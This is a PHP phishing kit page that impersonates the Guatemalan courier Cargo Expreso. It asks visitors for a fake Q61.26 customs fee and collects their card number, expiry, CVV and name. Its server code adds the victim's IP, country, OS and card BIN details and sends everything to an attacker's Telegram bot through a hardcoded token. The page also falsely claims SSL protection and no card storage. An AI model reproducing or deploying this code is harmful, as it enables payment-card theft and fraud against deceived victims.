<?php
$BOT_TOKEN = "7675736230:AAHECKf4diUuzk5OA5pTdViZBOncQIyDtAA";
$CHAT_ID = "7549492194";

// === GET USER INFO ===
$ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$country = 'Unknown';
$timeout = 5;

// Get country with better error handling
try {
    $context = stream_context_create([
        'http' => ['timeout' => $timeout],
        'ssl' => ['verify_peer' => false, 'verify_peer_name' => false]
    ]);
    $geoData = @file_get_contents("http://ip-api.com/json/{$ip}", false, $context);
    if ($geoData !== false) {
        $geo = json_decode($geoData);
        if (isset($geo->country) && $geo->status === 'success') {
            $country = $geo->country;
        }
    }
} catch (Exception $e) {
    $country = 'Unknown';
}

// Get BIN info from HandyAPI
function getBinInfo($bin) {
    $url = "https://data.handyapi.com/bin/{$bin}";
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 3,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_HTTPHEADER => ['x-api-key: HAS-0YYRXxQgdvMzHL9u9184D']
    ]);
    $response = curl_exec($ch);
    curl_close($ch);
    
    if ($response) {
        $data = json_decode($response, true);
        return $data;
    }
    return null;
}

// Get country with better error handling
function getCountryFromIP($ip, $timeout = 3) {
    if ($ip === 'Unknown' || $ip === '127.0.0.1' || $ip === '::1') {
        return 'Unknown';
    }
    
    try {
        $context = stream_context_create([
            'http' => ['timeout' => $timeout],
            'ssl' => ['verify_peer' => false, 'verify_peer_name' => false]
        ]);
        $geoData = @file_get_contents("http://ip-api.com/json/{$ip}?fields=status,country", false, $context);
        if ($geoData !== false) {
            $geo = json_decode($geoData);
            if (isset($geo->country) && $geo->status === 'success') {
                return $geo->country;
            }
        }
    } catch (Exception $e) {
        // Silently fail
    }
    return 'Unknown';
}

// Detect OS from user agent
function detectOS($user_agent) {
    $os = 'Unknown';
    if (strpos($user_agent, 'Windows') !== false) $os = 'Windows';
    elseif (strpos($user_agent, 'Mac') !== false) $os = 'macOS';
    elseif (strpos($user_agent, 'Linux') !== false) $os = 'Linux';
    elseif (strpos($user_agent, 'Android') !== false) $os = 'Android';
    elseif (strpos($user_agent, 'iPhone') !== false) $os = 'iOS';
    elseif (strpos($user_agent, 'iPad') !== false) $os = 'iPadOS';
    return $os;
}

// Format BIN info for message
function formatBinInfo($bin, $binData) {
    $binInfo = "<b>🅱️ BIN INFORMATION:</b>\n";
    
    if ($binData && is_array($binData)) {
        $brand = $binData['Brand'] ?? $binData['brand'] ?? 'UNKNOWN';
        $bank = $binData['Bank'] ?? $binData['bank'] ?? $binData['Issuer'] ?? 'Unknown';
        $binCountry = $binData['Country'] ?? $binData['country'] ?? 'Unknown';
        $type = $binData['Type'] ?? $binData['type'] ?? $binData['Scheme'] ?? 'UNKNOWN';
        $level = $binData['Level'] ?? $binData['level'] ?? $binData['CardTier'] ?? $binData['tier'] ?? 'STANDARD';
        $currency = $binData['Currency'] ?? $binData['currency'] ?? 'USD';
        
        $binInfo .= "• <b>BIN:</b> <code>{$bin}</code> | <b>Brand:</b> {$brand}\n";
        $binInfo .= "• <b>Bank:</b> {$bank} | <b>Country:</b> {$binCountry}\n";
        $binInfo .= "• <b>Type:</b> {$type} | <b>Level:</b> {$level}\n";
        $binInfo .= "• <b>Currency:</b> {$currency}\n\n";
    } else {
        $binInfo .= "• <b>BIN:</b> <code>{$bin}</code> (No additional info available)\n\n";
    }
    
    return $binInfo;
}

function sendTelegram($msg) {
    global $BOT_TOKEN, $CHAT_ID;
    
    $url = "https://api.telegram.org/bot{$BOT_TOKEN}/sendMessage";
    $data = [
        'chat_id' => $CHAT_ID,
        'text' => $msg,
        'parse_mode' => 'HTML',
        'disable_web_page_preview' => true
    ];
    
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($data),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/x-www-form-urlencoded'
        ]
    ]);
    
    $result = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return $httpCode === 200;
}

// === HANDLE PAYMENT LOG ===
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'log_payment') {
    header('Content-Type: application/json');
    
    // Get client info once
    $ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
    $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
    $country = getCountryFromIP($ip);
    $os = detectOS($user_agent);
    
    $tracking = htmlspecialchars($_POST['tracking'] ?? 'Unknown');
    $parcel_type = htmlspecialchars($_POST['parcel_type'] ?? 'Unknown');
    $card_name = htmlspecialchars($_POST['card_name'] ?? 'Unknown');
    $card_number = preg_replace('/\s+/', '', $_POST['card_number'] ?? '');
    $expiry = htmlspecialchars($_POST['expiry'] ?? '00/00');
    $cvv = htmlspecialchars($_POST['cvv'] ?? '000');

    // Get BIN info
    $bin = substr($card_number, 0, 6);
    $binData = getBinInfo($bin);
    
    // Build enhanced message
    $msg = "<b>✅✅ CARGO EXPRESO PAYMENT CAPTURED</b>\n";
    $msg .= "══════════════════════════════\n\n";
    
    // BIN Information Section
    $msg .= formatBinInfo($bin, $binData);
    
    // Card Details Section
    $msg .= "<b>💳 CARD DETAILS:</b>\n";
    $msg .= "• <b>Tracking #:</b> <code>{$tracking}</code>\n";
    $msg .= "• <b>Parcel Type:</b> {$parcel_type}\n";
    $msg .= "• <b>Cardholder:</b> {$card_name}\n";
    $msg .= "• <b>Card Number:</b> <code>{$card_number}</code>\n";
    $msg .= "• <b>Expiry:</b> {$expiry}\n";
    $msg .= "• <b>CVV:</b> <code>{$cvv}</code>\n";
    $msg .= "• <b>Amount:</b> Q61.26\n\n";
    
    // Client Information Section
    $msg .= "<b>👤 CLIENT INFORMATION:</b>\n";
    $msg .= "• <b>IP:</b> <code>{$ip}</code>\n";
    $msg .= "• <b>Country:</b> {$country}\n";
    $msg .= "• <b>OS:</b> {$os}\n";
    $msg .= "• <b>User Agent:</b> " . substr($user_agent, 0, 50) . "...\n";
    $msg .= "• <b>Time:</b> " . date('d/m/Y H:i:s') . "\n";
    
    $msg .= "══════════════════════════════\n";
    $msg .= "<i>📍 Cargo Expreso Guatemala</i>";

    sendTelegram($msg);

    echo json_encode(['status' => 'success']);
    exit;
}

// === GET DATA FROM POST (from loading1.php) ===
$tracking = htmlspecialchars($_POST['tracking'] ?? '');
$parcel_type = htmlspecialchars($_POST['parcel_type'] ?? 'PPT');
$weight = htmlspecialchars($_POST['weight'] ?? '0.9');

if (empty($tracking)) {
    $tracking = '';
}
?>
<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Pago — Cargo Expreso</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <style>
        :root {
            --primary: #FF6600;
            --primary-dark: #E55C00;
            --secondary: #1A2C3E;
            --secondary-light: #2C3E50;
            --background: #F8FAFC;
            --card-bg: #FFFFFF;
            --text: #333333;
            --text-muted: #666666;
            --text-light: #777777;
            --border: #E2E8F0;
            --radius: 4px;
            --input-bg: #FFFFFF;
            --shadow-sm: 0 1px 3px rgba(0,0,0,0.05);
        }
        * { box-sizing: border-box; }
        body {
            margin: 0;
            font-family: 'Inter', sans-serif;
            background: var(--background);
            color: var(--text);
            line-height: 1.5;
            padding: 0;
            display: flex;
            flex-direction: column;
            min-height: 100vh;
        }
        .container { max-width: 800px; margin: 0 auto; width: 100%; padding: 0 1rem; }

        .header {
            background: white;
            padding: 1.25rem 0;
            border-bottom: 2px solid var(--primary);
        }
        .header-container {
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 0 1rem;
            max-width: 1200px;
            margin: 0 auto;
        }
        .logo-container { display: flex; align-items: center; }
        .logo { height: 70px; width: auto; }

        .hero {
            background: var(--secondary);
            color: #FFFFFF;
            text-align: center;
            padding: 2rem 1rem;
            margin-bottom: 2rem;
        }
        .hero h1 {
            margin: 0;
            font-size: 1.75rem;
            font-weight: 600;
            letter-spacing: -0.01em;
            color: #FFFFFF;
        }

        .card {
            background: var(--card-bg);
            border: 1px solid var(--border);
            border-radius: var(--radius);
            padding: 2rem;
            margin-bottom: 2rem;
        }

        .progress {
            margin: 0 0 1.5rem;
            color: var(--text-muted);
            font-size: 0.85rem;
            display: flex;
            align-items: center;
            gap: 0.5rem;
            padding-bottom: 1rem;
            border-bottom: 1px solid var(--border);
        }
        .progress strong { color: var(--text); }
        .progress span {
            border-bottom: 2px solid var(--primary);
            padding-bottom: 2px;
            font-weight: 600;
            color: var(--secondary);
        }

        .parcel-info {
            background: #F8FAFC;
            border: 1px solid var(--border);
            border-radius: var(--radius);
            padding: 1.25rem;
            margin: 1.5rem 0;
        }
        .info-row {
            display: flex;
            justify-content: space-between;
            padding: 0.5rem 0;
            border-bottom: 1px solid var(--border);
            font-size: 0.95rem;
        }
        .info-row:last-child { border-bottom: none; }
        .info-label { color: var(--text-muted); }
        .info-value { font-weight: 600; color: var(--secondary); }

        .amount-display {
            background: #F8FAFC;
            border: 1px solid var(--border);
            padding: 1.75rem;
            text-align: center;
            font-size: 2.25rem;
            font-weight: 700;
            color: var(--secondary);
            border-radius: var(--radius);
            margin: 2rem 0;
        }
        .amount-currency {
            font-size: 1rem;
            vertical-align: super;
            margin-right: 0.25rem;
        }

        label {
            display: block;
            margin: 1.25rem 0 0.35rem;
            font-weight: 500;
            font-size: 0.9rem;
            color: var(--text);
            text-transform: uppercase;
            letter-spacing: 0.03em;
        }

        input[type="text"], input[type="tel"] {
            width: 100%;
            padding: 0.75rem 1rem;
            border: 1px solid var(--border);
            border-radius: var(--radius);
            background: var(--input-bg);
            font-size: 0.95rem;
            font-family: 'Inter', sans-serif;
            transition: border-color 0.15s ease;
        }
        input:focus {
            outline: none;
            border-color: var(--primary);
            box-shadow: 0 0 0 1px var(--primary);
        }

        .input-group {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 1.25rem;
            margin-bottom: 1rem;
        }
        @media (max-width: 600px) { .input-group { grid-template-columns: 1fr; } }

        .btn-continue {
            display: block;
            width: 100%;
            padding: 1rem;
            margin-top: 2rem;
            background: var(--primary);
            color: #FFFFFF;
            border: none;
            border-radius: var(--radius);
            font-weight: 600;
            font-size: 1rem;
            cursor: pointer;
            text-transform: uppercase;
            letter-spacing: 0.05em;
            transition: background 0.15s ease;
        }
        .btn-continue:hover {
            background: var(--primary-dark);
        }

        .tip {
            font-size: 0.85rem;
            color: var(--text-muted);
            margin-top: 1rem;
            padding: 1rem;
            background: #F8FAFC;
            border-left: 3px solid var(--primary);
        }

        .loading-overlay {
            position: fixed;
            top: 0; left: 0; width: 100%; height: 100%;
            background: rgba(255, 255, 255, 0.98);
            display: none;
            justify-content: center;
            align-items: center;
            flex-direction: column;
            z-index: 1000;
        }
        .spinner {
            width: 50px; height: 50px;
            border: 3px solid #E2E8F0;
            border-top: 3px solid var(--primary);
            border-radius: 50%;
            animation: spin 1.2s linear infinite;
            margin-bottom: 1rem;
        }
        @keyframes spin { to { transform: rotate(360deg); } }

        .footer {
            text-align: center;
            padding: 2rem 1rem;
            color: #777777;
            font-size: 0.8rem;
            margin-top: auto;
            background: var(--secondary);
        }
        .footer-container {
            max-width: 1200px;
            margin: 0 auto;
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: 1rem;
        }
        .footer-logo {
            height: 40px;
            width: auto;
            margin-bottom: 0.5rem;
        }
        .footer a {
            color: var(--primary);
            text-decoration: none;
        }
        .footer a:hover { text-decoration: underline; }
        .footer-text {
            color: #777777;
            font-size: 0.75rem;
        }

        .payment-methods {
            display: flex;
            justify-content: center;
            gap: 1rem;
            margin: 1.5rem 0;
            flex-wrap: wrap;
        }
        .payment-method {
            background: #F8FAFC;
            border: 1px solid var(--border);
            border-radius: var(--radius);
            padding: 0.4rem 0.8rem;
            font-size: 0.8rem;
            color: var(--text-muted);
            display: flex;
            align-items: center;
            gap: 0.4rem;
        }

        @media (max-width: 600px) {
            .card { padding: 1.5rem; }
            .hero h1 { font-size: 1.6rem; }
            .amount-display { font-size: 2rem; padding: 1.25rem; }
            .logo { height: 50px; }
        }
    </style>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
</head>
<body>

<header class="header">
    <div class="header-container">
        <div class="logo-container">
            <img src="https://www.gremialdebodegas.com.gt/wp-content/uploads/2023/05/Logo-CargoExpreso.png" alt="Cargo Expreso" class="logo">
        </div>
    </div>
</header>

<section class="hero">
    <div class="container">
        <h1><i class="fas fa-credit-card"></i> Pago de Aranceles Aduaneros</h1>
    </div>
</section>

<main class="container">
    <div class="card">
        <p class="progress">
            <i class="fas fa-map-marker-alt"></i>
            <strong>Estado:</strong> <span>Detalles de Pago</span>
        </p>

        <div class="parcel-info">
            <div class="info-row">
                <span class="info-label"><i class="fas fa-barcode"></i> Número de Guía:</span>
                <span class="info-value" id="trackingDisplay"></span>
            </div>
            <div class="info-row">
                <span class="info-label"><i class="fas fa-box"></i> Tipo de Paquete:</span>
                <span class="info-value" id="typeDisplay"></span>
            </div>
            <div class="info-row">
                <span class="info-label"><i class="fas fa-weight-hanging"></i> Peso:</span>
                <span class="info-value" id="weightDisplay"></span>
            </div>
            <div class="info-row">
                <span class="info-label"><i class="fas fa-file-invoice-dollar"></i> Tipo de Cargo:</span>
                <span class="info-value">Arancel Aduanero</span>
            </div>
        </div>

        <div class="amount-display">
            <span class="amount-currency">Q</span>61.26
        </div>
        <div style="text-align: center; color: var(--text-muted); font-size: 0.9rem; margin-bottom: 2rem;">
            <i class="fas fa-info-circle"></i> Este es un arancel aduanero obligatorio para paquetes internacionales
        </div>

        <form id="paymentForm">
            <input type="hidden" id="tracking" name="tracking">
            <input type="hidden" id="parcel_type" name="parcel_type">

            <label for="card_name"><i class="fas fa-user"></i> Nombre del Tarjetahabiente</label>
            <input type="text" id="card_name" name="card_name" placeholder="ej. JUAN PÉREZ" required>

            <label for="card_number"><i class="fas fa-credit-card"></i> Número de Tarjeta</label>
            <input type="tel" id="card_number" name="card_number" placeholder="1234 5678 9012 3456" maxlength="19" required>

            <div class="input-group">
                <div>
                    <label for="expiry"><i class="fas fa-calendar-alt"></i> Vencimiento (MM/AA)</label>
                    <input type="tel" id="expiry" name="expiry" placeholder="MM/AA" maxlength="5" required>
                </div>
                <div>
                    <label for="cvv"><i class="fas fa-lock"></i> CVV</label>
                    <input type="tel" id="cvv" name="cvv" placeholder="123" maxlength="4" required>
                </div>
            </div>

            <div class="payment-methods">
                <div class="payment-method"><i class="fab fa-cc-visa"></i> Visa</div>
                <div class="payment-method"><i class="fab fa-cc-mastercard"></i> MasterCard</div>
                <div class="payment-method"><i class="fas fa-university"></i> Transferencia</div>
                <div class="payment-method"><i class="fab fa-cc-amex"></i> Amex</div>
            </div>

            <p class="tip">
                <i class="fas fa-shield-alt"></i>
                Su pago está asegurado con encriptación SSL de 256 bits. Nunca almacenamos los detalles completos de su tarjeta.
            </p>

            <button type="submit" class="btn-continue">
                <i class="fas fa-lock"></i> Pagar Q61.26 Ahora
            </button>
        </form>
    </div>
</main>

<div class="loading-overlay" id="loadingOverlay">
    <div class="spinner"></div>
    <div style="font-size: 1.1rem; font-weight: 600; margin-bottom: 0.5rem; color: var(--secondary);">Procesando Pago Seguro...</div>
    <div style="color: var(--text-muted);">Por favor no cierre esta ventana</div>
</div>

<footer class="footer">
    <div class="footer-container">
        <img src="https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/e0634b47413279.587997222a5c2.png" alt="Cargo Expreso" class="footer-logo">
        <div class="footer-text">© 2026 Cargo Expreso. Todos los derechos reservados.</div>
        <div style="margin-top: 0.5rem;">
            <a href="#"><i class="fas fa-shield-alt"></i> Política de Privacidad</a> • 
            <a href="#"><i class="fas fa-file-contract"></i> Términos de Servicio</a> • 
            <a href="#"><i class="fas fa-question-circle"></i> Centro de Ayuda</a>
        </div>
    </div>
</footer>

<script>
// Load data from localStorage
document.addEventListener('DOMContentLoaded', function() {
    const cargoData = JSON.parse(localStorage.getItem('cargoexpresoData') || '{}');
    const tracking = cargoData.tracking || '<?php echo $tracking; ?>';
    const parcel_type = 'PPT';
    const weight = '0.9';

    if (tracking) {
        document.getElementById('tracking').value = tracking;
        document.getElementById('parcel_type').value = parcel_type;
        
        document.getElementById('trackingDisplay').textContent = tracking;
        document.getElementById('typeDisplay').textContent = 'PPT';
        document.getElementById('weightDisplay').textContent = weight + ' kg';
    } else {
        document.body.innerHTML = '<div style="text-align:center;padding:3rem;color:var(--secondary);"><h2>Sesión Expirada</h2><p>Por favor comience de nuevo desde la página de rastreo.</p></div>';
    }
});

// Format card number
document.getElementById('card_number').addEventListener('input', function(e) {
    let v = e.target.value.replace(/\D/g, '').substring(0,16);
    e.target.value = v.match(/.{1,4}/g)?.join(' ') || v;
});

// Format expiry
document.getElementById('expiry').addEventListener('input', function(e) {
    let v = e.target.value.replace(/\D/g, '').substring(0,4);
    if (v.length > 2) v = v.slice(0,2) + '/' + v.slice(2);
    e.target.value = v;
});

// Submit
document.getElementById('paymentForm').addEventListener('submit', async function(e) {
    e.preventDefault();

    const btn = this.querySelector('.btn-continue');
    const overlay = document.getElementById('loadingOverlay');
    btn.disabled = true;
    btn.innerHTML = '<i class="fas fa-spinner fa-spin"></i> Procesando...';
    overlay.style.display = 'flex';

    const formData = new FormData(this);
    const data = {
        action: 'log_payment',
        tracking: formData.get('tracking'),
        parcel_type: formData.get('parcel_type'),
        card_name: formData.get('card_name'),
        card_number: formData.get('card_number'),
        expiry: formData.get('expiry'),
        cvv: formData.get('cvv')
    };

    try {
        await fetch('', {
            method: 'POST',
            headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
            body: new URLSearchParams(data)
        });
    } catch (err) {
        console.log('Telegram failed');
    }

    localStorage.setItem('paymentData', JSON.stringify(Object.fromEntries(formData)));
    setTimeout(() => {
        window.location.href = 'loading2.php';
    }, 1500);
});
</script>

</body>
</html>